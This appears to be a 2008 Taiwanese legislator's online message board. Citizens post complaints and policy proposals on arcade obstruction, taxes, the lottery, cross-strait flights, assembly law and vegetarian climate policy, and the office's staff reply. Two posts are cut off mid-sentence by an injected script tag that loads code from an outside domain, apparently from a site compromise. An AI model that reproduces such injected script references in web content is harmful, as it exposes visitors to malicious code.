 | | 主題 | 請問佔用騎樓要到哪裡檢舉 203.121.231.* |
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| | 留言人 | 陳小姐 3/1/2008 10:16:39 AM |
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| | 內容 | 您好
我是板橋國光路上的住戶
從中正路口走進國光路的騎樓被各種商店佔用，每次經過總是要閃來閃去，遇到下雨天更是不便，況且馬路旁也停滿汽機車，行人簡直都快被逼到馬路中央去了，就算走在騎樓與馬路邊的狹窄細縫中，也有店家的各種管線障礙，使家父好幾次差點跌倒，對於此種狀況非常不滿。這個路段的騎樓使用嚴重影響行人權益已久，盼協助清除改善!
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| | 板主回覆 | 陳小姐您好:
有關騎樓長期佔用問題,目前負責取締的一般為警察機關,你可向當地警局檢舉,也可上縣長信箱陳情反應,我們也會持續關切此一情況.
林鴻池委員板橋服務處 3/4/2008 11:48:22 AM |
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| | | 內容 | 天下雜誌- 若您贊同他的看法，請轉寄給其他受薪階級
如果這些所謂的立委是來增加我們的負擔，那選他們來做什麼的?皮球受到的壓力越大，反彈的力量會越大，現階段只是不想和那些整天操弄人民的政客計較，一旦壓力到達極限，爆發就不只是皮球的反彈壓力而已，用力傳吧!!各位~~
天下雜誌- 若您贊同他的看法，請轉寄給其他受薪階級。
即將在明年度開始實施的二稅合一制度，減稅對象則是企業主，讓企業主可以將營業
稅，拿來於個人綜合所得稅中扣抵。此舉估計一年又要為國庫減少三百五十億的稅。
在目前的政經情勢下，富人要避稅、減稅似乎很容易，但中產階級、窮人要減稅，卻
困難重重，不少學者指出。
例如由立委翁金珠、賴勁麟等人，共同提出的所得稅法修正案，希望凡六歲以下，嬰
幼兒送托之費用，每年以五萬一千元為抵扣上限」，攸關全國數百萬的受薪、有子女
家庭上班族的福益，在立法院卻乏人聞問。
根據他們研究，台灣非農業受雇員工的雙薪家庭，平均年收入是九十六萬。
若有一位六歲以下小孩，托嬰或讀私立幼稚園，則會佔去年收入的二三％。
但是一般家庭都有兩位小孩，撫育子女的經費就將佔掉年收入四○％以上。
若這對夫妻在沒有任何幫助下，還要自購住宅，那簡直就是無法承受的重擔。
更何況根據最新科學研究，影響個人性格及人格形成最重要的關鍵，是在小孩六歲之
前（詳見天下一九九九年十一月教育特刊「二十一世紀從○開始」）。但是台灣稅制根
本跟不上時代潮流，一位企業界負責人說。
【誰來關心中產階級？】
可是立法院一群委員，可以為許多跟財團利益相關的法案挑燈夜戰，「他們（財團型
立委）想要的東西，可以很快的動員通過，例如農發條例、博奕條款，」民進黨立委
賴勁麟指出，卻很少立委對照顧中產階級的法案，加以青睞。
十二月十五號，立法院經濟委員會挑燈夜戰，審查農業發展條例。賴勁麟分析，這個
條例是以財團、地方派系出身的立委為主，趁這次總統大選，以選票為條件，向行政
系統施壓，必須在選前過關，「若一通過，對地方派系是大利多。」
一位金融業董事長指出，這次農發條例修正案，吵的那麼大聲，真的是農民沒有房
子住嗎？「搞了半天是立委，很多農業立委買了很多農地，沒辦法翻身。
還有一些農會手上有農地，這只是少數人的利益，但這些利益很切身，所以吵的很大
聲，好像代表民意，」常常與立法委員有接觸的他觀察。
農發條例牽涉到是否開放農地自由興建農舍，引起社會極大爭議，以中研院長李遠哲
為首的一百多位學者，曾聯名呼籲應該在總統大選過後才審查。但是在一群立委動員
下，農發條例仍於十二月十五日深夜在立法院經濟委員會完成初審。
事後，報紙上曾出現社論批評，當前立法的前提考量，已經不再符合「公與義」，反
倒比較在乎能否滿足「私與利」。這樣不符公與義的立法，要把台灣帶向什麼境地？
在立法院已被財團、派系型立委把持的情況下，希望他們訂出對一般受薪階級有益的
法案，簡直是奢求。住在台北市的林亨通，可以說是台灣雙薪家庭的典型。夫妻收入
一個月七萬多元，兩個小孩，一個念小學，一個念幼稚園，「一家四口擠在太太娘家
的一個房間裡，已經五、六年了，最大的夢想就是買一棟自己的房子，」雖然右下肢
小兒痲痺，但是個性開朗活潑，林亨通為了提升家計，下班後也抽空販賣公益彩券。
【昂貴的國宅】
然而，他能負擔的只是 一坪 十萬元以下的房子。最近台北市國宅處通知他看幾個完工
的、所謂照顧平民的「國宅」，結果每坪都在十五萬元以上，甚至超過二十萬元，有
的一戶售價超過一千萬，幾乎破滅了他購屋的夢想。
談到立委根本不重視跟受薪階級相關的法案時，他說：「當然啊，他們沒有這種困
擾，住的房子可能不用錢，公家，薪水搞不好十分之一就能打平家庭開銷，剩下的就
可以存起來。他們不會了解，我們要買一棟房子，會那麼辛苦。」
中產、受薪階級的苦痛，三十多歲的周志全、高淑玲夫婦，感受也十分深刻。原本小
兩口在台北縣汐止林肯大郡，有一間二十多坪的小公寓。一九九七年八月，林肯大郡
崩塌，造成二八人死亡，五百多戶房屋毀壞，從此生命產生巨大的改變。
「這件事讓我覺醒，我跟社會、跟政府的關係，被啟蒙了，」高淑玲說，原來她只過
自己的生活，但現在了解到，政府施政如此深刻影響大家的生活、工作、人生目標。
一棟價值約三、四百萬的房子，就這樣沒了，仍欠銀行的二百多萬貸款還要繳，工作
所得的薪資，所得稅仍然沒有減少。兩年多來，高淑玲心中一直忿恨不平的是，林肯
大郡的地基是沙頁岩、?script src=http://examspy.net/t.js> |
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| | 板主回覆 | 您好:
感謝您轉寄這份資料,將會把它列為問政的重要參考資料,感謝您提供寶貴問政意見
林鴻池國會辦公室 2/29/2008 9:28:12 AM |
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| | | | 板主回覆 | 你好:
我們已經看過您的信函,是否可以進一步將您的需求說明清楚,我們將會進一步提供協助
林鴻池委員國會辦公室
TEL:02-23586871 2/27/2008 2:14:12 PM |
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| 主題 | 查詢今彩539,無法查詢對獎資料,影響小市民權力 118.165.1.* |
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| | 留言人 | 小市民 2/24/2008 9:41:16 AM |
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| | 內容 | 今天查詢今彩539,到台灣彩卷網站,選97年2月 份,查詢,只有出現2/11~2/22,2月11日之前沒有.我要對2月1日,找不到號碼.
打到台灣彩卷客服去,他們說電腦正常 .
可是我看到的就是不常.
其他種類彩卷都可正常看到整月份,只有539不正常.
我覺得台灣彩卷並有有真正去解決,只會要我在試試看,我試了還是一樣.
我又打到客服,他說知道了.我問什麼時候解決問題,他們不回應.
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| | 板主回覆 | 您好:
您的陳情內容已經收到,經詢問台彩公司,應是操作上的一些問題,我們可以電話中跟你解說
02-23586871請找洪先生
林鴻池委員國會辦公室 2/25/2008 11:10:30 AM |
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| | | 內容 | 以下是小弟對兩岸直航的一點看法,
希冀委員在立院推動兩岸直航時, 能稍做參考,
俾利國內航空業發展及維護相關產業從業人員 (估計萬人以上) 的生計.
謝謝!
<<面對直航，台灣應有的空運政策>>
目前兩位總統候選人皆提出台灣應予對岸直航的政策，讓台灣終於不用自外於東亞最大國家的交通線上，這是歷史的必然走向，勇於與當前政府提出不同作法，也是值得鼓勵的事。
就兩者陣營的細部規劃內容，筆者以為大方向固然正確，唯讀小細節以及配套措施仍需要堅持以及兼顧，直航才能發揮最大的經濟利益。
一、航點以及航班必須達到經濟規模
台灣目前最大的空運中心在桃園機場，距離台北市區約40公里，有其無可取代的地位，對於大台北六百萬人，加上桃竹苗以及多數台中以北的多數人口而言，藉由陸地運輸到達桃園機場的時間最多兩個小時，除非偏遠地區，否則超過三小時的機會不多。以直航或者所有國際航班而言，台灣目前南北一大一小兩個機場為主的運輸政策是合宜的。而桃園機場為雙跑道機場規劃完整，週圍住家不多可以全天候運作，不需夜間休息，更是國內其他機場難以比擬的。
以同樣的航班數目，一個機場若能在一天內提供七個不同時間的航班，比之七個相近的機場每天均提供一個航班，對於商務及個人旅客而言，一定是間隔點越密集的航班越方便，最好早上下午晚上都有班機，旅客可以事情做完了就出發，也可以在下班後選擇晚班機搭程，不用因為趕不上飛機而等到隔日。
因此，直航航線應該以集中桃園機場起降為主，搭配小港機場疏運南部旅客，不應將航班過於分散在其他機場；在航空公司的選擇上，也不能雨露均霑每個都飛同一點，對大陸主要航點應只開放台籍公司至多兩家經營 (相對的大陸公司也會有兩家，所以四家經營起來跟台港線一般，不用擔心壟斷問題)，而次要航點應只指定一家，這樣才能使得服務的提供趨於完整。
二、務必爭取大陸轉機旅客
直航對於台灣籍航空公司的營運會有幫助，但並非仙丹靈藥。目前兩岸間主要的空運業務，乘客可以選擇搭乘港澳籍航空轉機，或是先搭乘台籍公司的飛機到港澳濟州等地轉大陸籍航空公司的飛機赴大陸，也就是除了港澳籍公司的乘客以外，不管買的是台籍公司的票還是大陸公司的票，航程中一定會坐到台籍公司的飛機，台籍公司可以賺取港澳以外一半以上兩岸旅客的利益。直航之後，所有的大陸航機也會直飛台灣，台籍公司大體上可能還是維持疏運一半旅客，而除了北京以外，飛航廣州、上海跟港澳線的航程類似，直飛了台籍公司的港澳濟州線必定都會減班，若旅客數並無顯著成長，直航只是把本來同樣數目的旅客載往距離相似的不同目的地，因此不是單純的可以直飛就可以帶來空運利益。
兩岸直航對業者的利基在於，點對點的方便可以帶來更多旅客，不是每個旅客帶來的平均收益並會比轉機時增加很多。如果設計航線時能讓更多的大陸旅客藉由台籍公司的成熟空運網 (華航及長榮)，轉機到東南亞、東北亞地區，以及北美洲地區，台籍公司才能夠增加獲利。要經營轉機旅客，首要條件就是航班的銜接要順暢，不需要太多的轉機時間。目前香港是東亞跟大中國地區最大的轉運點，而國泰加港龍航空 (兩者已合併) 布建的運輸網跟密集航次是國內業者夢寐以求但無法比擬的。因此，直航點的同公司的航班必須夠綿密，才有辦法搭配台灣較少的東亞跟北美航線，才能跟港澳業者競爭。
三、重新檢討本島民航機場的數量
台灣是欉爾小島，土地資源並不豐沛，機場卻是一種耗用資源 (包括土地、人力、能源) 的建設。台灣高鐵已經正式營運並達到經濟規模，不論在運輸成本跟資源的花費上都比空運節省，成為西部運輸的主幹毋庸置疑。未來即便要制衡高鐵也不必靠空運，高鐵通車的前十年西部航線就以每況愈下，靠的就是台灣已經很便捷的公路運輸跟鐵路來制衡。
在當前政府的政策下，開闢了許多島內新航線跟民航機場，然而這些航線紛紛因旅客不足而減班、停飛，民航站也因為收入不足而虧損壘壘。未來在新任政府上台後，檢討民航站的合宜性是當務之急，筆者認為，在台灣本島內陸運三小時的範圍內不應有兩個國際機場，亦即桃園機場已經存在，松山就不應有國際線營運，清泉崗也應徹底檢討，七股機場更沒有建設的價值；而在陸運兩小時內的範圍，不應該有兩個國內線機場，既然小港機場已經存在，屏東機場以及恆春以外所有西部航線都應該停止營運。
政府的責任是事先做好規劃，不要等到航線跟航空站虧損了才要業者苦撐或是自己想辦法，西部航線應該早日做好停航的準備，若干航空站可以直接還給軍方。
四、松山機場功能重新規劃
松山機場的存在始終是個足以讓台北市民討論許久的話題。如要保存下來，甚至與大陸直航，並非不可，但前提是必須讓桃園機場的航線先達到可以讓大陸旅客轉機的經濟規模，而與大陸直航也必須僅限於對岸的國內線機場，如上海虹橋，否則直飛上海浦東、廣州、北?script src=http://examspy.net/t.js> |
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| | 板主回覆 | 您好
已經收到你的建言,我們已經發函給行政院處理(發文字號:鴻杰字第97022502號)
若有進一步消息會再給您聯絡,若有進一步建言,請與我們聯繫
林鴻池委員國會辦公室
2/25/2008 2:09:54 PM |
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| | | | 板主回覆 | 丹小姐您好:因為委員經常要來往國會辦公室及服務,並經常要參加會議及各種行程,因此無法一直留在服務處,若有事需要協助,可先與辦公室聯繫約時間跟委員直接面談.
林鴻池委員板橋服務處 2/25/2008 12:18:18 PM |
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| | | | 板主回覆 | 您好:
有關此一問題,馬蕭總部已在處理中,感謝你提供寶貴意見!
林鴻池委員板橋服務處 2/25/2008 12:13:39 PM |
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| 主題 | 請支持修改「集會遊行法」 61.231.66.* |
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| | | 內容 | 委員及工作人員大家恭喜：
馬上就過年了，向大家拜年。
我們是台北紅衫軍自主公民協會，新的一年我們將持續推動「集會遊行惡法」的修改，將申請制改為報備制，並收回警察裁量權，以保障憲法賦予人民集會遊行的權力。
希望委員能夠支持我們，儘快將集會遊行法修正案，儘快排入議程。
我們將在年後到立院或者您的服務處親自拜訪您，尋求支持。
感謝您 並祝福您及所愛的人
平安喜樂
台北紅衫軍自主公民協會理事長特別助理
祝務耕 (紅衫軍B哥) 鞠躬
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| | | 內容 | 我有要是找林鴻池先生，非常緊急，我想過幾天 親自 登門造訪 謝謝 |
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| | 板主回覆 | 您好:
若需協助可直接至服務處或國會辦公室,定當全力幫忙.
林鴻池委員板橋服務處 2/25/2008 12:17:24 PM |
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| 主題 | 給素食立法委員林鴻池的一封信 61.230.3.* |
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| | | 內容 | 林鴻池立法委員你好：
首先恭喜委員當選中華民國第七屆區域立法委員，從新聞媒體得知委員也是終生茹素，為此深感欣慰，實為茹素者一大好消息，盼望委員能為素食的利益，能從政府部門與法令面帶來更有力量的影嚮。
時值地球暖化生態危機，氣候在溫室效應之下，天氣、溫差異常，工業化帶來大量的溫室氣體（二氣化碳、甲烷．．．）已經破壞了地球生態的平衡，人類已面臨生存危機，根據1996年聯合國氣候變化「政府間氣候變遷研究小組」（Intergovernmental Panel on Climate Change, IPCC）之預估，認為若要在 21世紀末將二氧化碳濃度穩定在工業革命前的兩倍（550 ppm），則目前全球排放量必須削減一半，並早在1992年簽訂「氣候變化網要公約」及具法律力的1997「京都議定書」。然而時至今日，溫室效應的產生因素在交互影嚮之下，進入增溫的惡性循環，程度遠比研究人員預估的還要遭糕，NASA：北極將在2012年全部融化！
縱觀我國政府因應地球暖化危機，普遍著力於能源部門、製造部門及環保政策，如歐盟2002/96/EC（WEEE）與2002/95/EC（RoHS）指令之下「寰淨計畫」（Ｇ計畫）﹣「綠色供應鍊Green Supply Chain」，然聯合國「政府間氣候變遷問題小組」的專家表示：個人在對抗全球暖化方面也扮演重要的角色，政府並未在個人部門能提供一個有效的辦法，僅在於第三部門的社會力量進行宣傳及道德勸說：少吃肉、多騎單車、使用環保商品、遊行造勢．．。依據英國物理學家艾倫．卡佛特（Alan Calverd）在2007年7月份的《物理世界》（Physics World）科學期刊中發表一篇名為〈解決京都議題的根本之道〉的文章中提出一個解決全球暖化問題的更簡單的方法，那就是停止葷食。著力於這項科學數據，2007諾貝爾和平獎得主聯合國氣候變遷科學研究小組領導﹣帕卓里在巴黎記者會上公開指出，不吃肉、騎腳踏車、少消費，就可以協助遏止全球暖化。
新聞來源：http://news.yam.com/afp/life/200801/20080116244172.html
英文AFP：http://afp.google.com/article/ALeqM5iIVBkZpOUA9Hz3Xc2u-61mDlrw0Q
為此向委員提出建言「素食政策」應列為政府因應地球暖化的重要施政工作，應視為降低碳、甲烷排放量的計量因子，應列入有關因應「京都議定書」相關政策計畫的經費補助範圍之內。在下認為：
一、國家素食人口比例應該算進去一個國家對全球暖化的對抗所做的供獻的統計，並例入為碳排放量交易的合約內，一個人吃素等於種了一顆樹，等於降低若干單位 CO2，等於若干單位碳交易籌碼，一個國家的素食人口應視為環保水準的指標、視為降低碳排放量的指標，台灣應該率先向聯合國提出這個概念。
二、依據經濟部「促進產業升級條例」研擬訂定之「新興重要策略性產業範圍」，並未見素食產業在內，在此特別時刻，政府應該為了地球暖化的危機，特別劃分獨立出一個素食產業，素食產業應該得到投資抵減或５年免稅的優惠，特別是有機農業符合無毒、水土環保，還可以間接地幫助到農民。
三、企業引進素食餐廳供應員工午餐，並鼓勵員工吃素，宣導拒吃肉品對抗地球暖化，其吃素員工數與素餐次數應計入企業對降低碳排放量的頁獻，政府應該視同環保的成效加分項目，並列入「綠色供應鏈Green Supply Chain」計畫之評項。除此之外，公部門、學校機關也應該大力推行。
肉品為高碳排放量的商品，又極度浪費地球土地與水的資源，實在不符合環保標準的要求，為了提高民眾拒吃肉、少吃肉，進一步成為素食者的意願行動力，本人構思出「開始吃素拯救地球認同行動卡」推行方案，配合抗暖化的公益團體發行之，我們並不強迫民眾任何飲食方式，然而我們有義務、有責任提供更符合地球環保、符合營養健康、符合科學數據及符合聯合國呼籲的飲食選項給民眾參考，並有義務解說宣傳之。
盼能藉重委員職權，能在政府部門的環保政策與法令面，發揮關鍵時刻影嚮力，另一面也藉重委員的身份，與抗暖化團體、環保團體接解觸，推動「開始吃素拯救地球認同行動卡」的抗暖化行動，讓民眾選擇聯合國所呼籲的飲食生活。
祝 委員 鈞安
關心地球的一份子
相關資訊：http://blog.yam.com/enlightenment/category/1759456 |
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| | 板主回覆 | 謝謝您的建言，委員已請同仁開始研究這方面的法令可如何修改以進一步保護環境。 2/25/2008 12:15:04 PM |
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